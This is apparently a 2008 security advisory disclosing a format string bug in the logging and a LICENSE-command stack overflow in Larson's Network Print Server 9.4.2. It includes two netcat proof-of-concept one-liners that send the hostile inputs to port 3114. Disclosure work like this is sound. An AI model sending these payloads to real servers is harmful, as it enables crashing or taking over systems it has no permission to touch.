Format string and buffer-overflow in Lst Network Print Server 9.4.2

[Luigi Auriemma]

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Luigi Auriemma

Application: Larson Software Technology Network Print Server
http://www.cgmlarson.com/products/NetworkPrintServer.php
Versions: <= 9.4.2 build 105
Platforms: Windows
Bugs: A] format string in logging
B] license buffer-overflow
Exploitation: remote
Date: 11 Feb 2008
Author: Luigi Auriemma
e-mail: aluigi@autistici.org
web: aluigi.org


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1) Introduction
2) Bugs
3) The Code
4) Fix


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===============
1) Introduction
===============


LstNPS is a CGM print server for Windows.


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2) Bugs
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A] format string in logging
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The server is affected by a format string vulnerability located in the
logging functions (by default enabled and set on "Information") which
passes the log message directly to vsnprintf without the format
argument.


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B] license buffer-overflow
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The LICENSE command handled by the server leads to a buffer-overflow
vulnerability when a license string longer than 128 bytes is copied in
a stack buffer using strncpy in the wrong way.


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3) The Code
===========


A]
echo USEP %n%n%n%s%s%s|nc SERVER 3114 -v -v

B]
echo LICENSE aaaaa...160...aaaaa|nc SERVER 3114 -v -v


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4) Fix
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No Fix


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Luigi Auriemma
http://aluigi.org